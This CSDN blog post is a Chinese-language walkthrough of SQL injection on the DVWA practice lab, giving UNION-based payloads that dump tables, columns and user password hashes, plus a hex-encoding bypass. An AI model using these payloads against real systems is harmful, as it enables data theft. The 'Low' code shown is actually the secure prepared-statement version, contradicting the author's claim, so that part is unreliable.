DVWA——SQL注入

最新推荐文章于 2024-10-02 23:45:00 发布
最新推荐文章于 2024-10-02 23:45:00 发布
阅读量2.5k 收藏 9
点赞数 11
文章标签： sql 数据库 sqlite
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_62803993/article/details/128602233
版权
文章详细分析了PHP代码中的SQL注入漏洞，包括检查代码中的防御措施，如CSRF令牌和参数转义。通过测试用例展示了如何检测和利用这些漏洞，如通过UNION查询获取数据库信息。同时，提到了BurpSuite在复现攻击过程中的作用，以及在高风险场景下的防御机制，如限制查询数量。
摘要由CSDN通过智能技术生成

Low

审计代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
## 分析源码，可以看到没有对参数做任何的过滤

判断是否存在SQL注入

1. 输入1 提交

在这里插入图片描述

2. 输入1’ 提交

在这里插入图片描述

3. 输入 1 and 1=1提交

在这里插入图片描述

4. 输入1 and 1=2提交

在这里插入图片描述

由上可以看出是存在注入点的，并且是以单引号闭合的，我们猜测sql查询语句是这样的：

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'

判断列数

1. 1’ order by 2#

在这里插入图片描述

2. 1’ order by 3#

确定显示的位置（SQL语句查询之后的回显位置）
在这里插入图片描述

Union注入

1. 查看回显

1' union select 1,2#

1’ 联合选择 1，2# #从下图可以看出有2个回显
在这里插入图片描述

2. 查询当前的数据库，以及版本

1' union select version(),database()#

在这里插入图片描述

3. 获取数据库中的表

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#


在这里插入图片描述
在这里插入图片描述

知识点：

1.在MYSQL5.0以上版本中存在自带数据库information_schema，他是一个存储所有数据库名，表明，列名的数据库，相当于可以通过查询此库获得相应信息。（没有的话只能靠猜，暴力破解）

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

4. 获取表中字段名

1' union select  1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

5. 获取字段中的数据

1' union select user, password from users#

在这里插入图片描述

这里密码使用了MD5加密，可在 https://www.cmd5.com/ 进行解密

Medium

审计代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
## 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句，
我们可以利用burp修改数据包，绕过防御。判断注入点，以及注入的类型

攻击复现

使用burp抓取

在这里插入图片描述

我们转到Repeater进行操作

在这里插入图片描述

根据low关卡知道存在SQL注入，这里就不多演示，我们从爆数据库开始

1. 查询当前的数据库，以及版本

union select version(),database()#

在这里插入图片描述

在这里插入图片描述

2. 获取数据库中的表

 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

在这里插入图片描述

3. 获取表中的字段名，考虑到单引号被转义，可以利用16进制绕过。（“用户”）

union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

在这里插入图片描述

在这里插入图片描述

获取字段中的数据

 union select user,password from users##

在这里插入图片描述

在这里插入图片描述

High

可以看出，点击“here to change your ID”，页面自动跳转，防御了自动化的SQL注入，分析源码可以看到，对参数没有做防御，在sql查询语句中限制啦查询条数，可以通过burpsuit抓包，修改数据包实现绕过。
方法跟前面的差不多，这里就不多演示了，直接爆账号密码

获取账号密码

在这里插入图片描述

使用的工具

BurpSuite
phpstudy_pro
火狐浏览器

茶十三
关注
dvwa——sql注入
qq_45487671的博客
05-26 2661
SQL注入攻击实验 1.实验目的 （1）理解SQL注入的原理； （2）学习手工注入的过程； （3）掌握SQL注入工具的使用； （4）掌握SQL注入的防御技术。 2.实验要求 1、登陆DVWA平台，结合所学SQL注入漏洞的基本知识，爆出MYSQL版本号、安装路径等信息；最终爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值（比如用户名、密码等）。 2、DVWA安全级别设置为“Low”或者“Medium”，均可。 3.实验过程描述 1、判断是否存在SQL注入点。 id值输入1，发现正常显示 输入
DVWA——sql注入
weixin_44743506的博客
08-22 623
原理 将恶意的sql语句拼接到合法的语句中，从而达到执行sql语句的目的 类型 字符型、数字型、搜索型 过程 1、判断是否存在注入、注入时字符型还是数字型 2、猜解sql查询语句中的字段数（确定select查出了几列，union前后查询的列数需要一致） 3、确定显示位置（确定在屏幕上显示的结果与select查询列的对应关系，因为某些网页可能会适当调整输出结果的排列顺序，更加美观，但是...
DVWA下的SQL注入
07-25
SQL
DVWA 之 SQL 注入
最新发布
Hacker_feng的博客
10-02 447
1' or 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# // 查询当前数据库dvwa 中的表。这里也可以通过输入union select 1,2,3…输入：1' union select 1,2#输入： 1' or '1'='1。
DVWA-SQL注入
acdcccc的博客
08-26 339
分享DVWA靶场的SQL注入过程
DVWA之SQL注入
RexHa的博客
09-27 2168
DVWA靶场sql注入三个级别通关
DVWA——SQL Injection(Blind)【详细的步骤实现（图解）包含多种盲注方法并且附上了payload】
weixin_46709219的博客
01-04 784
一）区别： SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 二）思想： 在盲注中，页面无论对错都只会以 “是” 或者 “不是”来对我们的SQL语句进行结果的反馈，因此我们需要构造payload去询问例如“数据库名字的第一个字母是不是a？”，通过问答的方式最终获取我们想要的数据。 三）盲注分为基于布尔盲注、基于
DVWA——sql盲注
weixin_44743506的博客
08-23 2572
一、盲注 与sql注入区别： 盲注只回复是或否，Sql注入回复详细信息； 过程： 1、判断是否存在注入，注入时字符型还是数字型 2、猜解数据库的长度，猜解数据库的名称 3、猜解数据库中有几个表，猜解表的长度，猜解表的名称 4、猜解表中有几个字段、猜解字段长度，猜解字段名称 5、猜解数据 类型： 基于布尔型的盲注 基于时间的盲注 基于报错的盲注 二、思路 手工盲注，因为服...
Kali渗透测试之DVWA系列7——SQL Injection（SQL注入）
浅浅的博客
06-13 3865
目录 一、SQL注入 1、SQL注入漏洞原理 2、SQL注入类型 3、SQL注入过程 二、实验环境 三、实验步骤 安全级别：LOW 安全等级：Medium 安全级别：High 安全级别：Impossible 一、SQL注入 1、SQL注入漏洞原理 把SQL命令插入到Web表单提交、或输入域名、或页面提交的查询字符串中，从而达到欺骗服务器执行恶意的SQL命令。 2、S...
DVWA通过攻略之SQL注入_dvwa sql注入
2401_84968371的博客
05-12 1496
此方法是在页面没有显示位，但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快，缺点是语句较为复杂，而且只能用limit依次进行猜解。总体来说，报错注入其实是一种公式化的注入方法，主要用于在页面中没有显示位，但是用echo mysql_error();输出了错误信息时使用。注入过程：第一步：SQL注入点探测。探测SQL注入点是关键的一步，通过适当的分析应用程序，可以判断什么地方存在SQL注入点。
DVWA靶场中SQL注入
剁椒鱼头没剁椒的博客
12-13 6401
但输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#的时候在2号位显示出很多的列，我们就看其中的user和password。4）联合查询判断可显示的注入点，当输入-1’ union select 1,2# 就能够显示1和2在的位置。2）输入1 and 1=2#正常，但是当输入1’ and 1=2#不正常，那么证明可以判断为字符型注入。
DVWA之SQL注入（盲注）
天空之蓝的博客
11-17 3400
SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是a啊？”，通过这种机械的询问，最终获得你想要的数据。
dvwa的sql注入
BAIXUAN9527的博客
03-27 545
SQL i 攻击者在web表单或者页面请求的查询字符串中通过查询的字符串恶意的注入SQl命令，从而使数据库执行恶意的SQl语句 1验证web存在SQL漏洞 2寻找注入点 2.1web页面某个表单的输入框里 2.2web页面的URL查询（带参数的URl） 3构造攻击的SQL语句 4通过注入点提交构造的攻击语句，构造的SQL在数据库执行 5通过web页面返回数据，提取分析我们想要的数据信息 注入点类...
dvwa靶场sql注入中级
06-12
DVWA(Damn Vulnerable Web Application) 是一个具有漏洞的 Web 应用程序，用于测试和提高 Web 安全意识。其中包括 SQL 注入漏洞的测试。 在 DVWA 的 SQL 注入中级靶场中，你需要利用 SQL 注入漏洞来获取数据库中的数据。具体步骤如下： 1. 打开 DVWA 的 SQL 注入中级靶场页面，输入用户名和密码，登录系统。 2. 在页面上找到一个输入框，例如搜索框或者评论框，输入一些测试数据，看看是否可以通过输入一些 SQL 语句来获取数据库中的数据。例如，可以尝试输入 `' or 1=1 --`，这是一个经典的 SQL 注入语句，它可以绕过用户认证。 3. 如果成功地获取了数据库中的数据，可以进一步尝试使用 UNION SELECT 语句来获取更多的数据。例如，可以输入 `' UNION SELECT null,username,password FROM users --`，这个语句会从 users 表中获取所有的用户名和密码。 4. 如果无法直接获取数据，可以尝试使用一些其他的技巧，例如盲注、时间延迟注入等等。 总之，在 DVWA 的 SQL 注入中级靶场中，需要不断地尝试各种 SQL 注入语句和技巧，直到成功获取数据库中的数据。同时，也需要注意保护自己的电脑和网络安全，避免被黑客攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值